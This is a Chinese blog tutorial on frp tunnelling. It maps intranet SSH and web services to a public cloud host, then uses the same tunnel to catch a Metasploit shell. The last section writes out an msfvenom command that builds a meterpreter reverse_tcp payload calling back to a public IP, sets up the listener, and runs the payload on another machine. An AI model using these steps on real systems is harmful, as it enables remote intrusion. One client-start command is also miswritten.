Frp内网穿透

2021-09-26|

内网穿透从本质上来讲也是端口映射,两者都是将内网地址映射到公网可访问的地址,而区别是端口映射直接在路由器中配置即可,而内网穿透配置的端口映射则需要客户端和服务端进行绑定后实现,相当于客户端和服务端之间建立了一条隧道,然后访问服务端的请求会通过隧道转发给内网主机,该情况多用于没有公网 IP 的情况下使用;

frp是一个高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务, 支持tcp, udp, http, https等协议类型,可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网;

## 中文文档地址:  
https://gofrp.org/docs/ 
## github 下载地址:  
https://github.com/fatedier/frp/releases

Frp有客户端和服务端,根据所安装主机的系统下载好对应的版本,这里下载了两个版本,一个windows版本,一个linux版本;

1、映射内网SSH服务

将linux版本文件通过xshell上传到云服务器,并进行解压;

## 解压文件
tar xf frp_0.33.0_linux_amd64.tar.gz

## 文件涵义
frpc            客户端程序 
frpc_full.ini   客户端完整配置文件 
frpc.ini        客户端简易配置文件 
frps            服务端程序 
frps_full.ini   服务端完整配置文件 
frps.ini        服务端简易配置文件

查看简易配置文件,配置了侦听端口为7000,即服务端与客户端通讯的端口;

启动服务端程序;

 ## 以简易配置启动服务端程序
 ./frps -c ./frps.ini 

在本地CentOS7中解压linux版本文件,并修改客户端简易配置文件frpc.ini;

## 客户端简易配置文件frpc.ini
[common]
server_addr = 123.456.789.111     ## 远程云主机的公网ip地址
server_port = 7000                ## 服务端侦听的端口
[ssh] 
type = tcp                  ## 协议类型                 
local_ip = 127.0.0.1        ## 本地的ip地址
local_port = 22             ## 本地的端口
remote_port = 6000          ## 映射到服务端的端口

启动客户端程序;

## 以简易配置启动客户端程序
./frpc -c frpc.ini

此时云主机上服务端会显示已经成功的日志信息;

在云主机上查看6000端口的状态,显示已经配置了TCP监听;

通过xshell访问云主机公网ip的6000端口就可以访问内网主机;

2、映射内网Web服务

配置服务端的配置文件frps.ini,vhost_http_port为http服务访问端口,vhost_https_port为https服务访问端口,此处以http服务为例;

## frps.ini配置文件
[common]
bind_port = 7000
vhost_http_port = 8080


配置完成后启动服务端程序;

 ## 以简易配置启动服务端程序
 ./frps -c ./frps.ini 

更改客户端的配置文件frpc.ini;

## frpc.ini配置文件
[common]
server_addr = 123.456.789.111   ## 云主机的公网IP
server_port = 7000              ## 服务端绑定的端口

[web]
type = http
local_port = 80                 ## 本地Web服务的端口
custom_domains = www.yourdomain.com  ## 解析到公网IP上的域名

启动客户端程序;

 ## 以简易配置启动客户端程序
 ./frps -c ./frps.ini 

服务端可以查看到成功链接的日志信息;

访问域名:8080就可以访问本地的Web服务;

3、配置MSF接收来自公网的shell

服务端配置文件不用改变,修改客户端配置文件即可,然后启动客户端程序;

## frpc.ini配置文件
[common]
server_addr = 123.456.789.111   ## 云主机的公网IP
server_port = 7000              ## 服务端绑定的端口

[msf] 
type = tcp 
local_port = 4444       ## 本地待监听端口
local_ip = 127.0.0.1 
remote_port = 8085      ## 云主机映射端口

生成 payload ,LHOST 指定为公网 IP,LPORT 指定为公网映射端口;

## 使用msfvenom生成payload
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=123.456.789.111 LPORT=8085 -b "\x00" -f elf -o xuyu 

本地启动 MSF 并配置侦听,此时监听LOST为本地ip地址,LPORT为frpc.ini配置文件中本地的端口;

## MSF配置本地监听
use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp 
set LHOST 192.168.1.105
set LPORT 4444 
exploit 

将payload复制到另一台Centos中,并执行;

## 复制payload并执行
scp xuyu root@192.168.1.6:/root/
chmod +x xuyu
./xuyu

MSF 成功接收 shell ;




标签: 公网 配置 服务 端口 文件 客户端 映射 简易 程序 本地
出处: https://www.toutiao.com/a7011511369975497248/

推荐

文明发言,请先登录

文明上网理性发言,请遵守国家法律法规。

最新评论

©2003- 黑基网 黑名单存档手机版网站地图免责条款法律声明隐私保护